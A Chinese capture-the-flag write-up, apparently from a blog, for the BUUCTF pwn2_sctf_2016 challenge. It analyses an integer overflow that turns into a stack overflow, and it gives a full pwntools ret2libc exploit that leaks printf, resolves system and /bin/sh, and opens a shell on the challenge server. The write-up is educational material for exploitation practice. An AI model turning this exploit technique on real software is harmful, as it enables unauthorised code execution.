BUU刷题-Pwn-pwn2_sctf_2016

文章描述了一个关于pwn(栈溢出利用)的场景,通过分析一个32位LinuxELF程序,利用整数溢出使输入长度变大,触发栈溢出。然后使用LibcSearcher工具找到printf和system等函数在libc库中的地址,通过ret2libc技术篡改返回地址,最终调用system函数执行/bin/sh,以获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:[[利用got表和plt表泄露数据]] printf
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
    获得shell或flag:[[劫持返回地址]] && [[调用libc中的system]]
学到的知识:

[[整数溢出的利用]]
[[LibcSearcher的使用]]

题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file pwn2_sctf_2016 
pwn2_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b6d53bc9aca0e73953173f153dc75bd540d6a48, not stripped
                                                                                                    
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn2_sctf_2016 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols    FORTIFY  Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74) Symbols  No     0               1               pwn2_sctf_2016

libc版本:
wp借鉴:

核心伪代码分析:

存在利用的的代码:

int __cdecl get_n(int a1, unsigned int a2)
{
  unsigned int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || i >= a2 )
      break;
    v2 = i;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + i;
  *(_BYTE *)(a1 + i) = 0;
  return result;
}

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(nptr, 4);
  v2 = atoi(nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(nptr, v2);//第二个参数为无符号整型
  return printf("You said: %s\n", nptr);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}
分析:

利用负数在转化为无符号整数时,可以变大。然后就可以利用栈溢出了!

脚本:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')

pwnfile='./pwn2_sctf_2016'
#sh=process(pwnfile)
sh=remote('node4.buuoj.cn',29939)
elf = ELF(pwnfile)

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

sh.recvuntil('How many bytes do you want me to read? ')
sh.sendline('-1')
sh.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
sh.sendline(payload)
sh.recvuntil('\n')
printf_addr=u32(sh.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

print("printf:",hex(printf_addr))
print("base_addr:",hex(offset))
print("bin_sh_addr:",hex(bin_sh))
print("system_addr:",hex(system))

sh.recvuntil('How many bytes do you want me to read?')
sh.sendline('-1')
sh.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
sh.sendline(payload)

sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值